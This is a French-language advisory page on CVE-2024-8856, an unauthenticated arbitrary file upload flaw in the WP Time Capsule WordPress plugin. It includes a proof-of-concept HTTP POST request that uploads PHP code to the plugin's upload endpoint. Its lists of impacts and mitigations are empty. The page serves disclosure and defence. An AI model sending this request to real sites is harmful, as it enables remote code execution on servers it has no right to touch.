
Vulnérabilité de téléchargement de fichier arbitraire dans le plugin WordPress WP Time Capsule
CVE-2024-8856 est une vulnérabilité de sécurité découverte dans le plugin WP Time Capsule pour WordPress qui permet à des utilisateurs non authentifiés de télécharger des fichiers arbitraires sur le serveur. Cela peut conduire à une exécution de code à distance si les fichiers téléchargés sont exécutés par le serveur. La vulnérabilité découle d'une validation insuffisante des fichiers et peut être exploitée en envoyant des requêtes spécialement conçues au point de terminaison vulnérable.
Cette vulnérabilité permet à des utilisateurs non authentifiés de :
Ce qui suit est une preuve de concept démontrant comment exploiter la vulnérabilité CVE-2024-8856 en envoyant une requête POST au point de terminaison vulnérable.
POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/1.1
Host: wordpress.local
Content-Length: 199
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHvQu3NOpI44bLkPN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: http://wordpress.local
Content-Disposition: 18.php
Accept-Encoding: gzip, deflate, br
Connection: close
------WebKitFormBoundaryHvQu3NOpI44bLkPN
Content-Disposition: form-data; name="files"; filename="php"
Content-Type: application/sql
<?php phpinfo();
------WebKitFormBoundaryHvQu3NOpI44bLkPN--
Pour atténuer cette vulnérabilité :
CVE-2024-8856 - Base de données nationale des vulnérabilités
CVE-2024-8856 est une vulnérabilité grave qui requiert une attention immédiate de la part des administrateurs de sites WordPress utilisant le plugin WP Time Capsule. Des précautions appropriées doivent être prises pour sécuriser l'application contre une exploitation potentielle. Restez toujours à jour avec les pratiques de sécurité et les mises à jour des plugins.